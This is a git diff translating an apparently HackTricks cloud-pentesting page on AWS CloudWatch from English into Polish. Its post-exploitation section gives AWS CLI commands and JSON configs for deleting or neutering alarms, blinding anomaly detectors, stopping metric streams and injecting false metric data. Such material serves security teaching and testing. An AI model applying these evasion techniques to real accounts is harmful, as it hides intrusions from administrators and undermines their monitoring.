**Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Przykład**: CPUUtilization może być mierzony w Procentach, podczas gdy NetworkIn może być mierzony w Bajtach. -## CloudWatch Features +## Funkcje CloudWatch ### Dashboard -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**Dashboardy CloudWatch** zapewniają dostosowywane **widoki metryk AWS CloudWatch**. Możliwe jest tworzenie i konfigurowanie dashboardów w celu wizualizacji danych i monitorowania zasobów w jednym widoku, łącząc różne metryki z różnych usług AWS. -**Key Features**: +**Kluczowe funkcje**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Widżety**: Elementy budujące dashboardy, w tym wykresy, tekst, alarmy i inne. +- **Dostosowanie**: Układ i zawartość mogą być dostosowane do specyficznych potrzeb monitorowania. -**Example Use Case**: +**Przykład zastosowania**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- Jeden dashboard pokazujący kluczowe metryki dla całego środowiska AWS, w tym instancji EC2, baz danych RDS i kubełków S3. -### Metric Stream and Metric Data +### Strumień metryk i dane metryczne -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Strumienie metryk** w AWS CloudWatch umożliwiają ciągłe przesyłanie metryk CloudWatch do wybranego miejsca docelowego w niemal rzeczywistym czasie. Jest to szczególnie przydatne do zaawansowanego monitorowania, analityki i niestandardowych dashboardów przy użyciu narzędzi spoza AWS. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Dane metryczne** w strumieniach metryk odnoszą się do rzeczywistych pomiarów lub punktów danych, które są przesyłane. Te punkty danych reprezentują różne metryki, takie jak wykorzystanie CPU, użycie pamięci itp., dla zasobów AWS. -**Example Use Case**: +**Przykład zastosowania**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Wysyłanie metryk w czasie rzeczywistym do zewnętrznej usługi monitorującej w celu zaawansowanej analizy. +- Archiwizowanie metryk w kubełku Amazon S3 do długoterminowego przechowywania i zgodności. ### Alarm -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**Alarmy CloudWatch** monitorują twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedno lub więcej działań, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda. -**Key Components**: +**Kluczowe komponenty**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Próg**: Wartość, przy której alarm się uruchamia. +- **Okresy oceny**: Liczba okresów, w których dane są oceniane. +- **Punkty danych do alarmu**: Liczba okresów z osiągniętym progiem potrzebna do uruchomienia alarmu. +- **Działania**: Co się dzieje, gdy stan alarmu jest uruchamiany (np. powiadomienie za pośrednictwem SNS). -**Example Use Case**: +**Przykład zastosowania**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- Monitorowanie wykorzystania CPU instancji EC2 i wysyłanie powiadomienia za pośrednictwem SNS, jeśli przekroczy 80% przez 5 kolejnych minut. -### Anomaly Detectors +### Wykrywacze anomalii -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Wykrywacze anomalii** wykorzystują uczenie maszynowe do automatycznego wykrywania anomalii w twoich metrykach. Możesz zastosować wykrywanie anomalii do dowolnej metryki CloudWatch, aby zidentyfikować odchylenia od normalnych wzorców, które mogą wskazywać na problemy. -**Key Components**: +**Kluczowe komponenty**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Szkolenie modelu**: CloudWatch wykorzystuje dane historyczne do szkolenia modelu i ustalania, jak wygląda normalne zachowanie. +- **Pasmo wykrywania anomalii**: Wizualna reprezentacja oczekiwanego zakresu wartości dla metryki. -**Example Use Case**: +**Przykład zastosowania**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Wykrywanie nietypowych wzorców wykorzystania CPU w instancji EC2, które mogą wskazywać na naruszenie bezpieczeństwa lub problem z aplikacją. -### Insight Rules and Managed Insight Rules +### Reguły spostrzeżeń i zarządzane reguły spostrzeżeń -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Reguły spostrzeżeń** pozwalają na identyfikację trendów, wykrywanie szczytów lub innych interesujących wzorców w danych metrycznych, wykorzystując **potężne wyrażenia matematyczne** do definiowania warunków, w których powinny być podejmowane działania. Te reguły mogą pomóc w identyfikacji anomalii lub nietypowych zachowań w wydajności i wykorzystaniu zasobów. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Zarządzane reguły spostrzeżeń** to wstępnie skonfigurowane **reguły spostrzeżeń dostarczane przez AWS**. Są zaprojektowane do monitorowania konkretnych usług AWS lub powszechnych przypadków użycia i mogą być włączane bez potrzeby szczegółowej konfiguracji. -**Example Use Case**: +**Przykład zastosowania**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- Monitorowanie wydajności RDS: Włącz zarządzaną regułę spostrzeżeń dla Amazon RDS, która monitoruje kluczowe wskaźniki wydajności, takie jak wykorzystanie CPU, użycie pamięci i I/O dysku. Jeśli którakolwiek z tych metryk przekroczy bezpieczne progi operacyjne, reguła może uruchomić alert lub automatyczną akcję łagodzącą. -### CloudWatch Logs +### Logi CloudWatch -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +Pozwala na **agregację i monitorowanie logów z aplikacji** i systemów z **usług AWS** (w tym CloudTrail) oraz **z aplikacji/systemów** (**CloudWatch Agent** może być zainstalowany na hoście). Logi mogą być **przechowywane bezterminowo** (w zależności od ustawień grupy logów) i mogą być eksportowane. -**Elements**: +**Elementy**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Grupa logów** | **kolekcja strumieni logów**, które dzielą te same ustawienia przechowywania, monitorowania i kontroli dostępu | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Strumień logów** | Sekwencja **zdarzeń logów**, które dzielą **ten sam źródło** | +| **Filtry subskrypcyjne**| Definiują **wzorzec filtru, który pasuje do zdarzeń** w danej grupie logów, wysyłają je do strumienia Kinesis Data Firehose, strumienia Kinesis lub funkcji Lambda | -### CloudWatch Monitoring & Events +### Monitorowanie i zdarzenia CloudWatch -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **podstawowy** agreguje dane **co 5 minut** (ten **szczegółowy** robi to **co 1 minutę**). Po agregacji **sprawdza progi alarmów**, aby zobaczyć, czy należy uruchomić jeden.\ +W takim przypadku CloudWatch może być przygotowany do wysłania zdarzenia i wykonania pewnych automatycznych działań (funkcje AWS lambda, tematy SNS, kolejki SQS, strumienie Kinesis) -### Agent Installation +### Instalacja agenta -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Możesz zainstalować agentów wewnątrz swoich maszyn/kontenerów, aby automatycznie wysyłać logi z powrotem do CloudWatch. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Utwórz** **rolę** i **przypisz** ją do **instancji** z uprawnieniami pozwalającymi CloudWatch na zbieranie danych z instancji oprócz interakcji z menedżerem systemów AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Pobierz** i **zainstaluj** **agenta** na instancji EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Możesz go pobrać z wnętrza EC2 lub zainstalować automatycznie za pomocą AWS System Manager, wybierając pakiet AWS-ConfigureAWSPackage +- **Skonfiguruj** i **uruchom** agenta CloudWatch -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. - -## Enumeration +Grupa logów ma wiele strumieni. Strumień ma wiele zdarzeń. A w każdym strumieniu zdarzenia są gwarantowane, że będą w porządku. +## Enumeracja ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Atakujący z tymi uprawnieniami mógłby znacząco osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia, które informują administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać uzasadnione alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty. +Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje jeszcze alarm złożony, który zależy od alarmu, który chcesz usunąć. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym: -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Ten alarm metryczny monitoruje średnie wykorzystanie CPU konkretnej instancji EC2, ocenia metrykę co 300 sekund i wymaga 6 okresów oceny (łącznie 30 minut). Jeśli średnie wykorzystanie CPU przekroczy 60% przez co najmniej 4 z tych okresów, alarm zostanie uruchomiony i wyśle powiadomienie do określonego tematu SNS. +- Poprzez modyfikację progu na więcej niż 99%, ustawienie okresu na 10 sekund, okresów oceny na 8640 (ponieważ 8640 okresów po 10 sekund równa się 1 dzień) oraz punktów danych do alarmu na 8640, konieczne byłoby, aby wykorzystanie CPU przekraczało 99% co 10 sekund przez cały 24-godzinny okres, aby uruchomić alarm. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="Zmodyfikowane Alarmy Metryczne" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne niezauważone problemy, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Usuwając akcje alarmowe, atakujący może zapobiec uruchomieniu krytycznych powiadomień i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamianie administratorów lub uruchamianie działań auto-skalowania. Niewłaściwe włączanie lub ponowne włączanie akcji alarmowych może również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są uruchamiane, co może powodować zamieszanie i błędne kierowanie w odpowiedzi na incydenty. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub wyciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu. +- Jeśli użyjesz **`SetAlarmState`** na alarmie złożonym, alarm złożony nie ma gwarancji, że powróci do swojego rzeczywistego stanu. Powraca do swojego rzeczywistego stanu tylko wtedy, gdy którykolwiek z jego alarmów podrzędnych zmieni stan. Jest również ponownie oceniany, jeśli zaktualizujesz jego konfigurację. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Potencjalny wpływ**: Brak powiadomień o krytycznych zdarzeniach, potencjalne niezauważone problemy, fałszywe alerty, tłumienie prawdziwych alertów i potencjalnie pominięte wykrycia rzeczywistych incydentów. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Napastnik mógłby skompromitować zdolność do wykrywania i reagowania na nietypowe wzorce lub anomalie w danych metrycznych. Usuwając istniejące detektory anomalii, napastnik mógłby wyłączyć krytyczne mechanizmy powiadamiania; a tworząc lub modyfikując je, mógłby albo błędnie skonfigurować, albo stworzyć fałszywe alarmy, aby odwrócić uwagę lub przytłoczyć monitoring. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +Przykład ten pokazuje, jak uczynić detektor anomalii metrycznych nieskutecznym. Ten detektor anomalii metrycznych monitoruje średnie wykorzystanie CPU konkretnej instancji EC2, a dodanie parametru „ExcludedTimeRanges” z pożądanym zakresem czasowym wystarczy, aby zapewnić, że detektor anomalii nie analizuje ani nie alarmuje o żadnych istotnych danych w tym okresie. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="Zmodyfikowany detektor anomalii metryki" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**Potencjalny wpływ**: Bezpośredni wpływ na wykrywanie nietypowych wzorców lub zagrożeń bezpieczeństwa. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Napastnik mógłby skompromitować możliwości monitorowania i wizualizacji organizacji, tworząc, modyfikując lub usuwając jej pulpity nawigacyjne. Te uprawnienia mogłyby zostać wykorzystane do usunięcia krytycznej widoczności wydajności i stanu systemów, zmiany pulpitów nawigacyjnych w celu wyświetlania nieprawidłowych danych lub ukrywania złośliwych działań. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` +**Potencjalny wpływ**: Utrata widoczności monitorowania i wprowadzające w błąd informacje. -**Potential Impact**: Loss of monitoring visibility and misleading information. - -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** - -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** +Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system ślepym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji zespołu operacyjnego. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Potencjalny wpływ**: Trudności w wykrywaniu i reagowaniu na problemy z wydajnością oraz anomalie, błędne podejmowanie decyzji i potencjalne ukrywanie złośliwych działań lub awarii systemu. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Dezaktywując krytyczne zasady wglądu, atakujący mógłby skutecznie oślepić organizację na kluczowe metryki wydajności i bezpieczeństwa. Z drugiej strony, włączając lub konfigurując mylące zasady, mogłoby być możliwe generowanie fałszywych danych, tworzenie szumów lub ukrywanie złośliwej aktywności. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Potencjalny wpływ**: Zamieszanie w zespole operacyjnym, prowadzące do opóźnionych reakcji na rzeczywiste problemy i niepotrzebnych działań na podstawie fałszywych alertów. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +Atakujący z uprawnieniami **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** mógłby tworzyć i usuwać strumienie danych metrycznych, kompromitując bezpieczeństwo, monitorowanie i integralność danych: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Tworzenie złośliwych strumieni**: Tworzenie strumieni metrycznych w celu wysyłania wrażliwych danych do nieautoryzowanych miejsc. +- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo szumów, powodując błędne alerty, maskując prawdziwe problemy. +- **Zakłócenie monitorowania**: Usuwając strumienie metryczne, atakujący zakłóciliby ciągły przepływ danych monitorujących. W ten sposób ich złośliwe działania byłyby skutecznie ukryte. +Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych dodanych, czyniąc go całkowicie bezużytecznym. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +Przykład dodawania danych odpowiadających 70% wykorzystania CPU na danej instancji EC2: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Potencjalny wpływ**: Zakłócenie przepływu danych monitorujących, wpływające na wykrywanie anomalii i incydentów, manipulacja zasobami oraz wzrost kosztów z powodu tworzenia nadmiernych strumieni metryk. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Napastnik kontrolowałby przepływ danych metryk w dotkniętych strumieniach (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Potencjalny wpływ**: Zakłócenie przepływu danych monitorujących, wpływające na wykrywanie anomalii i incydentów. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CloudWatch (obecnie tylko alarmy i zasady Contributor Insights). Może to zakłócić polityki kontroli dostępu w Twojej organizacji oparte na tagach. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Potencjalny wpływ**: Zakłócenie polityk kontroli dostępu opartych na tagach. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Odniesienia - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..131eb16a0 100644 --- 